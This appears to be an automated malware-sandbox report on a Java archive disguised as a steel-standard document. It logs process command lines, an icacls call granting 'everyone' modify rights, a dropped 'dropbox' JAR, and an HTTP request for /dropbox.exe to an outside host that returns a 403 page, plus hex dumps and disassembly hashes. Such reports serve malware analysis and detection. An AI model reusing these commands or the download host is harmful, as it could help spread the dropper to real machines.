2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74
                                        Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
                                        Sep 20, 2022 03:41:14.738234997 CEST172INData Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61
                                        Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
                                        Sep 20, 2022 03:41:14.738272905 CEST173INData Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d
                                        Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
                                        Sep 20, 2022 03:41:14.738310099 CEST174INData Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70
                                        Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
                                        Sep 20, 2022 03:41:14.738348007 CEST176INData Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c
                                        Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
                                        Sep 20, 2022 03:41:14.738385916 CEST177INData Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34
                                        Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
                                        Sep 20, 2022 03:41:14.738425016 CEST179INData Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35
                                        Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
                                        Sep 20, 2022 03:41:14.738465071 CEST180INData Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30
                                        Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
                                        Sep 20, 2022 03:41:14.738502026 CEST181INData Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33
                                        Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
                                        Sep 20, 2022 03:41:14.738539934 CEST183INData Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31
                                        Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
                                        Sep 20, 2022 03:41:14.799470901 CEST184INData Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31
                                        Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        2192.168.2.349717141.8.192.15180C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        TimestampkBytes transferredDirectionData
                                        Sep 20, 2022 03:41:21.431153059 CEST232OUTGET /dropbox.exe HTTP/1.1
                                        User-Agent: Java/1.8.0_211
                                        Host: f0719949.xsph.ru
                                        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
                                        Connection: keep-alive
                                        Sep 20, 2022 03:41:21.495768070 CEST233INHTTP/1.1 403 Forbidden
                                        Server: openresty
                                        Date: Tue, 20 Sep 2022 01:41:21 GMT
                                        Content-Type: text/html
                                        Transfer-Encoding: chunked
                                        Connection: keep-alive
                                        Vary: Accept-Encoding
                                        Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74
                                        Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
                                        Sep 20, 2022 03:41:21.495812893 CEST234INData Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61
                                        Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
                                        Sep 20, 2022 03:41:21.495853901 CEST236INData Raw: 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d
                                        Data Ascii: webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;height:100%;max-width:328px;max-height:384px;-webkit-box-pack:center;-webkit-justify-content:center;-mo
                                        Sep 20, 2022 03:41:21.495893002 CEST237INData Raw: 68 74 73 20 2e 79 65 61 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 30 35 70 78 29 7b 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 70
                                        Data Ascii: hts .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-left:77px}.wrapper .content .right-side{top:unset;bottom:52px;position:absolute;right:61px}}@media screen and (max-width:1105px) and (max-height:720px){.w
                                        Sep 20, 2022 03:41:21.495955944 CEST239INData Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c
                                        Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
                                        Sep 20, 2022 03:41:21.495995045 CEST240INData Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34
                                        Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
                                        Sep 20, 2022 03:41:21.496023893 CEST241INData Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35
                                        Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
                                        Sep 20, 2022 03:41:21.496062994 CEST243INData Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30
                                        Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
                                        Sep 20, 2022 03:41:21.496104956 CEST244INData Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33
                                        Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
                                        Sep 20, 2022 03:41:21.496143103 CEST245INData Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31
                                        Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
                                        Sep 20, 2022 03:41:21.560338974 CEST247INData Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31
                                        Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:03:40:53
                                        Start date:20/09/2022
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"" >> C:\cmdlinestart.log 2>&1
                                        Imagebase:0xb0000
                                        File size:232960 bytes
                                        MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:1
                                        Start time:03:40:54
                                        Start date:20/09/2022
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff745070000
                                        File size:625664 bytes
                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:2
                                        Start time:03:40:54
                                        Start date:20/09/2022
                                        Path:C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
                                        Imagebase:0x950000
                                        File size:192376 bytes
                                        MD5 hash:28733BA8C383E865338638DF5196E6FE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:Java
                                        Reputation:high

                                        General

                                        Target ID:3
                                        Start time:03:40:56
                                        Start date:20/09/2022
                                        Path:C:\Windows\SysWOW64\icacls.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
                                        Imagebase:0x980000
                                        File size:29696 bytes
                                        MD5 hash:FF0D1D4317A44C951240FAE75075D501
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:4
                                        Start time:03:40:57
                                        Start date:20/09/2022
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff745070000
                                        File size:625664 bytes
                                        MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:5
                                        Start time:03:40:59
                                        Start date:20/09/2022
                                        Path:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
                                        Imagebase:0xfa0000
                                        File size:192376 bytes
                                        MD5 hash:4BFEB2F64685DA09DEBB95FB981D4F65
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:6
                                        Start time:03:41:08
                                        Start date:20/09/2022
                                        Path:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
                                        Imagebase:0xfa0000
                                        File size:192376 bytes
                                        MD5 hash:4BFEB2F64685DA09DEBB95FB981D4F65
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        General

                                        Target ID:11
                                        Start time:03:41:16
                                        Start date:20/09/2022
                                        Path:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
                                        Imagebase:0xfa0000
                                        File size:192376 bytes
                                        MD5 hash:4BFEB2F64685DA09DEBB95FB981D4F65
                                        Has elevated privileges:false
                                        Has administrator privileges:false
                                        Programmed in:C, C++ or other language
                                        Reputation:high

                                        Disassembly

                                        Reset < >

                                          Executed Functions

                                          Function 02F78BC0 Relevance: 1.5, Strings: 1, Instructions: 210COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249413582.0000000002F77000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F77000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f77000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: pGY
                                          • API String ID: 0-3020090310
                                          • Opcode ID: f8227dec9eaafb99a7d2b714ddd5e1e4ba4d0f49812ce39d2e5920ea473a8a31
                                          • Instruction ID: 17e8238c53f8909aee06b97e7e125372344b2ba98dc6b83c950fbacb55afb4d0
                                          • Opcode Fuzzy Hash: f8227dec9eaafb99a7d2b714ddd5e1e4ba4d0f49812ce39d2e5920ea473a8a31
                                          • Instruction Fuzzy Hash: B451F37550E3C19FD7138B348868695BFB0AF47248F4E85DBC9C4CB1A3D328591ADBA2
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 02F78D37 Relevance: 1.3, Strings: 1, Instructions: 49COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249413582.0000000002F77000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F77000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f77000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: pGY
                                          • API String ID: 0-3020090310
                                          • Opcode ID: fd3d48268189fc4dc47b607887c4a003ec1f6a49729495fd483cd6ea03f8ce5d
                                          • Instruction ID: adabee5963c3db45637e2aa1099c878ee0a24d10fa5211f39a42d7a400c2e2ea
                                          • Opcode Fuzzy Hash: fd3d48268189fc4dc47b607887c4a003ec1f6a49729495fd483cd6ea03f8ce5d
                                          • Instruction Fuzzy Hash: 7E115EB59093869FD305CF24C44479AFFF0BF89744F49895FE98897252E3349945CB82
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 02F0C3A9 Relevance: .4, Instructions: 363COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000002.00000002.249343027.0000000002F0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F0A000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_2_2_2f0a000_java.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9746198b9f121bb1c6f221c6f3d8aa3e58e02cb83a502e1473897f9f3ffc8838
                                          • Instruction ID: 6c59347d6517aa2fff75c1800fbf96b3e2c1b11656a2311cc0088fbe6a990b42
                                          • Opcode Fuzzy Hash: 9746198b9f121bb1c6f221c6f3d8aa3e58e02cb83a502e1473897f9f3ffc8838
